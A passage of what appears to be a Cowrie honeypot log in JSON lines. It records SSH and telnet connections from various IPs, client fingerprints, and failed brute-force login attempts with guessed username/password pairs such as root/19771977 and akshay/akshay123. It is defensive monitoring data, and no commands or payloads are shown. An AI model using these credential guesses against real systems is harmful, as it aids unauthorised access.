r","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:58.527588Z","src_ip":"62.133.62.83","session":"d7a0a9a2bacf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19771977","message":"login attempt [root/19771977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:58.772561Z","src_ip":"62.133.62.83","session":"d7a0a9a2bacf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:59.854323Z","src_ip":"62.133.62.83","session":"d7a0a9a2bacf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":40566,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9695a2a6d56","protocol":"ssh","message":"New connection: 62.133.63.178:40566 (10.17.0.5:22) [session: f9695a2a6d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:00.306435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:00.311358Z","src_ip":"62.133.63.178","session":"f9695a2a6d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:00.459744Z","src_ip":"62.133.63.178","session":"f9695a2a6d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000001","message":"login attempt [root/0000001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:00.850623Z","src_ip":"62.133.63.178","session":"f9695a2a6d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:01.980829Z","src_ip":"62.133.63.178","session":"f9695a2a6d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2493,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e12b8463748","protocol":"ssh","message":"New connection: 181.0.214.136:2493 (10.17.0.5:22) [session: 9e12b8463748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:02.150829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:02.158020Z","src_ip":"181.0.214.136","session":"9e12b8463748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:02.334226Z","src_ip":"181.0.214.136","session":"9e12b8463748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eleven","message":"login attempt [root/eleven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:03.021649Z","src_ip":"181.0.214.136","session":"9e12b8463748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":44060,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec69b079da5d","protocol":"ssh","message":"New connection: 37.233.85.71:44060 (159.203.135.109:22) [session: ec69b079da5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:04.076612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:04.081907Z","src_ip":"37.233.85.71","session":"ec69b079da5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:04.183009Z","src_ip":"37.233.85.71","session":"ec69b079da5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:04.195459Z","src_ip":"181.0.214.136","session":"9e12b8463748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma123","message":"login attempt [root/roma123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:04.489123Z","src_ip":"37.233.85.71","session":"ec69b079da5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:05.593854Z","src_ip":"37.233.85.71","session":"ec69b079da5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.268354415893555,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:12.815065Z","src_ip":"152.42.224.71","session":"a5ab1c6ea0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58066,"dst_ip":"10.17.0.5","dst_port":23,"session":"d186781ce8a3","protocol":"telnet","message":"New connection: 152.42.224.71:58066 (10.17.0.5:23) [session: d186781ce8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:14.719567Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":43146,"dst_ip":"159.203.135.109","dst_port":22,"session":"33fca1cf9ad7","protocol":"ssh","message":"New connection: 103.77.175.15:43146 (159.203.135.109:22) [session: 33fca1cf9ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:23.233983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:23.246749Z","src_ip":"103.77.175.15","session":"33fca1cf9ad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:23.502538Z","src_ip":"103.77.175.15","session":"33fca1cf9ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6","message":"login attempt [root/1q2w3e4r5t6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:24.275140Z","src_ip":"103.77.175.15","session":"33fca1cf9ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.651792526245117,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:24.371233Z","src_ip":"152.42.224.71","session":"d186781ce8a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:25.539549Z","src_ip":"103.77.175.15","session":"33fca1cf9ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.536574840545654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:27.456840Z","src_ip":"152.42.224.71","session":"9ddb7ffc7586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.324788093566895,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:27.840714Z","src_ip":"152.42.224.71","session":"878378e6472f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":50380,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c35cb072da5","protocol":"ssh","message":"New connection: 59.16.212.232:50380 (159.203.135.109:22) [session: 6c35cb072da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:31.927424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:31.932452Z","src_ip":"59.16.212.232","session":"6c35cb072da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:32.140925Z","src_ip":"59.16.212.232","session":"6c35cb072da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37832,"dst_ip":"10.17.0.5","dst_port":22,"session":"254215b013f7","protocol":"ssh","message":"New connection: 103.176.20.57:37832 (10.17.0.5:22) [session: 254215b013f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:32.985400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:32.990430Z","src_ip":"103.176.20.57","session":"254215b013f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akshay","password":"akshay123","message":"login attempt [akshay/akshay123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:33.002629Z","src_ip":"59.16.212.232","session":"6c35cb072da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:33.239138Z","src_ip":"103.176.20.57","session":"254215b013f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blabla","message":"login attempt [root/blabla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:33.995217Z","src_ip":"103.176.20.57","session":"254215b013f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:34.212631Z","src_ip":"59.16.212.232","session":"6c35cb072da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:35.249983Z","src_ip":"103.176.20.57","session":"254215b013f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.3984637260437,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:37.681973Z","src_ip":"152.42.224.71","session":"37185cb28ae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60612,"dst_ip":"10.17.0.5","dst_port":22,"session":"c73f4c7d39a8","protocol":"ssh","message":"New connection: 193.32.162.145:60612 (10.17.0.5:22) [session: c73f4c7d39a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:41.857380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:41.862293Z","src_ip":"193.32.162.145","session":"c73f4c7d39a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:41.966842Z","src_ip":"193.32.162.145","session":"c73f4c7d39a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:42.289872Z","src_ip":"193.32.162.145","session":"c73f4c7d39a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:43.399130Z","src_ip":"193.32.162.145","session":"c73f4c7d39a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":36760,"dst_ip":"159.203.135.109","dst_port":22,"session":"22d51b9fd13b","protocol":"ssh","message":"New connection: 103.173.227.57:36760 (159.203.135.109:22) [session: 22d51b9fd13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:48.894811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:48.900265Z","src_ip":"103.173.227.57","session":"22d51b9fd13b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha